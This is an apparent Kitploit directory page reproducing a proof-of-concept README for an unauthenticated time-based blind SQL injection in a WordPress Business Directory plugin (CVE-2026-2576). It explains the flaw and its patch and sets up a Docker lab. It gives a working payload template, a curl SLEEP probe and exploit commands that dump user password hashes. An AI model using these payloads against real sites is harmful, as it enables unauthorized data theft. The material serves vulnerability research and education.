Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — Business Directory 插件 SQLi PoC(本地环境搭建)。针对 WordPress 的 Business Directory 插件(≤ 6.4.21)的未认证基于时间的盲注 SQL 注入。 | Kitploit
工具/GitHubGitHub/sowatkheang/cve_2026_2576_poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — Business Directory 插件 SQLi PoC(本地环境搭建)。针对 WordPress 的 Business Directory 插件(≤ 6.4.21)的未认证基于时间的盲注 SQL 注入。

查看仓库
25个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-2576 — Business Directory 插件 SQLi PoC

未认证的基于时间的盲 SQL 注入
Business Directory Plugin for WordPress ≤ 6.4.21


目录

  • 漏洞概述
  • 技术分析
  • 实验环境要求
  • 实验环境搭建
  • 运行 PoC
  • 预期输出
  • 补丁分析
  • 参考资料
  • 免责声明

漏洞概述

字段详情
CVECVE-2026-2576
插件Business Directory Plugin – Easy Listing Directories for WordPress
厂商strategy11team
受影响版本所有 ≤ 6.4.21 的版本
已修复版本6.4.22
类型基于时间的盲 SQL 注入 (CWE-89)
认证无 — 完全未认证
CVSS7.5 (NVD) / 9.3 (Wordfence)
攻击向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
分配方Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
披露日期2026 年 2 月 18 日

Business Directory Plugin 是一款广泛使用的 WordPress 插件,用于构建带支付支持的列表目录。其 ORM 查询构建器中的一个缺陷允许未认证的攻击者通过 payment 查询参数执行基于时间的盲 SQL 注入,从而推断数据库内容。


技术分析

根本原因

该漏洞位于 ORM 查询构建器中:

文件: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ 存在漏洞 — 无任何净化处理,直接进行字符串拼接
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ 安全 — 使用 $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

当 $v 是标量时,代码正确使用了 $wpdb->prepare()。当 $v 是数组时,代码会进入不安全的代码分支,将值直接拼接到 SQL 字符串中,且没有任何转义处理。

触发方式

结账控制器(includes/controllers/pages/class-checkout.php)读取 payment 请求参数并将其传递给 ORM:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id 作为值传递
    );
}

PHP 会自动将查询字符串中的 payment[]=value 转换为数组 $_GET['payment'] = ['value']。这会强制 filter_args() 中的 $v 成为数组,从而进入不安全的代码分支。

注入流程

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← 由于 [] 符号成为数组
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → 不安全的代码分支
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

注入载荷

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

生成的 SQL:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

-- - 将尾部的 ') 注释掉。IF() 创建了一个布尔判断条件,当条件为 TRUE 时,SLEEP(N) 触发,响应被延迟;当条件为 FALSE 时,响应立即返回。

注意: ORM 每次请求会执行两次查询(一次在 get() 中,一次在 maybe_execute_query() 中),因此 SLEEP(1) 载荷会产生约 2 秒的可观察延迟,而 SLEEP(2) 会产生约 4 秒的延迟。

影响

未认证的攻击者可以通过基于时间的响应逐字符推断和提取数据库内容,包括:

  • WordPress 用户表(wp_users)、用户名、电子邮件地址、密码哈希
  • 插件支付记录、交易数据、列表所有者信息
  • 数据库用户可访问的任何其他表

补丁

6.4.22 版本中的修复为 filter_args() 的数组分支添加了净化处理:

root@kitploit:~
// 修复前(存在漏洞)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// 修复后(已修补)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

实验环境要求

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux 或任何 Linux 主机
  • 互联网访问(用于拉取 Docker 镜像和下载插件)

安装 Python 依赖:

root@kitploit:~
pip3 install requests colorama --break-system-packages

实验环境搭建

步骤 1:克隆或创建实验目录

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

步骤 2:启动完整环境

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

步骤 3:运行安装程序并等待完成

root@kitploit:~
docker compose up setup

等待看到以下输出:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Lab Setup Complete!                            ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Plugin: 6.4.21 (VULNERABLE)                             ║
║  BD Page ID: 4                                           ║
╚══════════════════════════════════════════════════════════╝

步骤 4:确认存在漏洞的插件版本

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# 预期输出:* Version: 6.4.21

步骤 5:从数据库中获取真实的 payment_key

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

步骤 6:启动 phpMyAdmin(可选,用于数据库检查)

root@kitploit:~
docker compose up -d pma
# 访问 http://localhost:8082  (root / rootpass)

运行 PoC

所有命令均在 Kali 主机上的实验根目录中运行。 使用 http://localhost:8080(主机 → Docker 端口映射)。 payment_key 必须对应 wp_wpbdp_payments 表中已存在的行。

检测:确认注入是否存在

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

预期输出:INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

Alt text

提取:数据库名称、版本、用户

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt text

列出:数据库中的所有表

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

导出:WordPress 用户表(密码哈希)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

导出:自定义表(预置的机密数据)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

自定义 SQL 表达式提取

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

速度调优

参数默认值说明
--sleep N1每次判断的 SLEEP(N)。TRUE ≈ N×2s。值越小 = 越快,但噪音越大
--threads N4并行字符位置。现代硬件上 8 效果良好
root@kitploit:~
# 最快提取方式
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

手动 curl 验证

root@kitploit:~
# 基线:应在 < 0.1s 内返回
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# 睡眠探测:应在约 4s 内返回(SLEEP(2) × 2 次执行)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


补丁分析

对比存在漏洞的版本与已修补的版本:

root@kitploit:~
python3 poc/patch_diff.py 

# 查看完整差异
python3 poc/patch_diff.py --full
  • 或手动下载
root@kitploit:~
# 下载两个版本
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# 对比存在漏洞的文件
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

差异将显示 filter_args() 的数组分支中添加了 esc_sql()。


实验环境管理

root@kitploit:~
# 停止实验环境(保留数据)
docker compose stop

# 重新启动
docker compose start

# 完全拆除 — 销毁所有卷和数据
docker compose down -v

# 从头重新运行安装程序
docker compose down -v && docker compose up setup

# 进入 WordPress 容器
docker exec -it lab_wordpress bash

# 查看 WordPress PHP 错误日志
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# 实时查看 MySQL 查询日志
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

参考资料

  • Wordfence 公告 — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • NVD 条目 — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • WordPress 插件页面 — https://wordpress.org/plugins/business-directory-plugin/
  • WordPress 插件 SVN — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP:SQL 注入 — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • WordPress $wpdb->prepare() 文档 — https://developer.wordpress.org/reference/classes/wpdb/prepare/

免责声明

本仓库仅用于授权的安全研究和教育目的。所有测试均在隔离的本地实验环境中进行。切勿将此工具用于您不拥有或未经明确书面许可进行测试的系统。未经授权访问计算机系统违反《计算机欺诈和滥用法》(CFAA)以及其他司法管辖区的同等法律。

作者对滥用本材料不承担任何责任。请始终遵循负责任披露的做法 — 如果您基于本研究发现了新的发现,请在发布前与厂商协调。


在 Kali Linux 上的隔离 Docker 实验环境中进行研究和开发。

下载工具